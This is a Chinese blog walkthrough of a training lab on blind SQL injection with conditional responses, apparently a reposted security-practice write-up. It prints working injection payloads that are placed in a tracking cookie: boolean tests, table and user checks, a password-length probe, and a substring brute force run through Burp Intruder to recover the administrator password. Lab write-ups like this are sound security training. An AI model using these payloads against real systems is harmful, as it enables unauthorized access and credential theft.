Lab: Blind SQL injection with conditional responses PRACTITIONER 带条件响应的SQL盲注靶场复盘
Posted Zeker62
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Lab: Blind SQL injection with conditional responses PRACTITIONER 带条件响应的SQL盲注靶场复盘相关的知识,希望对你有一定的参考价值。
靶场完成目标:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed.But the application includes a “Welcome back” message in the page if the query returns any rows.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
综上所述,没有报错,但是如果合法就会出现welcome back的字样
靶场目标是使用administrator账户登录
开启演练
打开靶场并用burp抓包,发送到repeater
测试语句
-
' and 1=1 --+
是否会显示welcome
-
’and 1=2 --+
是否不会返回错误
正如猜想的那样,这里有个盲注点 -
' and (selcet 'a' from users limit 1)='a' --+
这条语句确认是不是users这个数据表,它寻找’a’这一列,如果users存在,那么就会返回’a’这个字符串,因为SQL语句中,即使某列不存在,也会返回那一列的名字,加上limit是防止那一列真的存在返回了那一列的某个值
-
' and (select 'a' from users where username='administrator' limit 1)='a' --+
用来确认是否有administrator这个用户:
-
' and (select 'a' from users where username='administrator' and length(password)>5)='a' --+
来确定password的长度
但是我们需要手动确定password的长度,所以我们需要变更length的条件,最后发现,password的长度为20
-
暴力破解密码:知道密码长度后,我们就可以暴力破解了:使用语句:
' and (select substring(password,1,1) from users where username='administrator')='a' --+
通过这个语句,我们可以知道password的第一个字符是不是a,所以变量有两个:一个是substring的第二个参数,一个是最后面的字符。 -
放入Intruder模式:选取两个变量:
-
第一个字典是1~20的数字,第二个字典是0~9、A~Z、a~z的内容:
-
设置判断条件是回显 Welcome back
-
开始攻击(攻击过程有些慢,国外网站你懂的):
根据内容,我们可以找到数字所对应的密码为
-
记下来输入密码即可:
和传统的URL盲注不同的是,这里是在cookie字段中注入的,但是这个cookie或许就是被加密的用户名,所以利用这个的真与假,我们就能一步步判断我们的步骤,虽然不能一步到位
以上是关于Lab: Blind SQL injection with conditional responses PRACTITIONER 带条件响应的SQL盲注靶场复盘的主要内容,如果未能解决你的问题,请参考以下文章
Lab: Blind SQL injection with conditional errors带条件错误的盲注靶场复盘
Lab: Blind SQL injection with time delays and information retrieval:时间延迟盲注和信息检索两个靶场复盘
Lab: Blind SQL injection with out-of-band interaction:利用外带交互的盲注(半成品)